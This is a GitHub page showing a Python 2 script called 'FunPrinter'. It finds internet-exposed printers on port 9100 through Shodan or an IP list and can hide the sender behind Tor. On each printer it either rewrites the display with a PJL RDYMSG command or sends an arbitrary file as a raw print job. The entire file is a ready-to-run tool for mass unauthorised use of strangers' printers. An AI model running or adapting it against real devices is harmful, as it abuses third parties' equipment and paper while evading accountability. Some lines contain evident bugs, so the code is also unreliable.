-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfunny.py
155 lines (128 loc) · 5.25 KB
/
funny.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# -*- coding: utf-8 -*-
import os, sys
from json import load
from colorama import init, Fore
import shodan
import socks, socket
import argparse
init()
class colors:
ERROR = '[' + Fore.LIGHTRED_EX + 'ERROR' + Fore.RESET + '] '
LIST = '[' + Fore.LIGHTYELLOW_EX + 'LIST' + Fore.RESET + '] '
TOR = '[' + Fore.LIGHTMAGENTA_EX + 'TOR' + Fore.RESET + '] '
SHODAN = '[' + Fore.LIGHTCYAN_EX + 'SHODAN' + Fore.RESET + '] '
CONNECT = '[' + Fore.LIGHTGREEN_EX + 'CONNECT' + Fore.RESET + '] '
def header():
header = """ ________________
_/_______________/|
/___________/___//|| -- FunPrinter By FunSec --
|=== |----| ||
| | ô| ||
|___________| ô| ||
| ||/.´---.|| | ||
|-||/_____\||-. | |´
|_||=L==H==||_|__|/\n"""
print header
def clear():
'Simple console clear function'
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
def printer(id_printer):
if id_printer.split('\n')[1].replace('\n', '').replace('"', '').replace("'", '').startswith('DISPLAY'): return False
else: return id_printer.split('\n')[1].replace('\n', '').replace('"', '').replace("'", '')
def connect(ip, raw):
s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Connecting...'
try:
s.connect((ip, 9100))
except Exception:
print ('[' + Fore.LIGHTRED_EX + ip + Fore.RESET + '] ') + 'Connection failed'
return 0
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Connected!'
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Testing PJL'
s.send('@PJL INFO STATUS\n')
try:
recv = s.recv(1024)
except socket.timeout:
recv = ''
if recv.startswith('@'):
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Test completed!'
s.send('@PJL INFO ID\n')
id_printer = s.recv(1024)
if not printer(id_printer):
print ('[' + Fore.LIGHTRED_EX + ip + Fore.RESET + '] ') + 'Failed to get printer name'
else:
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + printer(id_printer)
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Changing the display screen to '+args.message
s.send('@PJL RDYMSG DISPLAY="{}"\n'.format(args.message))
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Done!. Closing the connection'
s.close()
elif recv == '':
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'RAW protocol detected. Sending file'
s.send(raw)
print ('[' + Fore.LIGHTGREEN_EX + ip + Fore.RESET + '] ') + 'Done!. Closing the connection'
s.close()
else:
print ('[' + Fore.LIGHTRED_EX + ip + Fore.RESET + '] ') + 'Protocol not supported. Closing the connection'
s.close()
except Exception:
print ('[' + Fore.LIGHTRED_EX + ip + Fore.RESET + '] ') + 'Timeout'
def get_funny(ips, raw):
for ip in ips:
connect(ip, raw)
def get_tor_ip():
import socket
import urllib2
socket.socket = socks.socksocket
return load(urllib2.urlopen('http://jsonip.com'))['ip']
parser = argparse.ArgumentParser()
parser.add_argument('file', help='The file do you want to print', type=str)
parser.add_argument('--mode', help='Select the mode shodan/list', type=str)
parser.add_argument('--arg', help='Set shodan key/name of the ips list', type=str)
parser.add_argument('--message', help='Message to show in the display screen of the printer with PJL', type=str)
parser.add_argument('--tor', help='Use tor proxy or not', action='store_false')
args = parser.parse_args()
clear()
header()
TEST_SOCK = socks.socksocket()
if not args.tor:
socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 9050)
print colors.TOR + 'Verifying the connection to the proxy'
try:
TEST_SOCK.connect(('www.google.com', 80))
except socks.ProxyConnectionError:
print colors.ERROR + 'Could not connect to proxy tor'
sys.exit()
print colors.TOR + 'Actual IP: ' + get_tor_ip()
if str(args.mode).lower() == 'shodan':
SHODAN_API_KEY = args.arg
shodan_worker = shodan.Shodan(SHODAN_API_KEY)
results = shodan_worker.search('port:9100')
print colors.SHODAN + 'Possibility ' + results['total'] + 'printers found'
IPS = []
for result in results['matches']:
IPS.append(result['ip_str']).replace(' ', '').replace('\n', '')
elif str(args.mode).lower() == 'list':
if not os.path.exists(args.arg):
print colors.ERROR + 'File ' + args.arg + ' is not oin your computer. Bruh!'
sys.exit()
print colors.LIST + 'Reading list'
IPS = []
with open(args.arg, 'r') as list_:
lines = list_.readlines()
for line in lines:
IPS.append(line.replace(' ', '').replace('\n', '').replace(' ', '').split()[0])
list_.close()
print colors.LIST + 'Done!. '+str(len(IPS))+' ips loaded'
else:
print colors.ERROR + 'Mode not found. Use shodan or list'
sys.exit()
with open(args.file, 'r') as file:
raw = file.read()
get_funny(IPS, raw)
file.close()
sys.exit()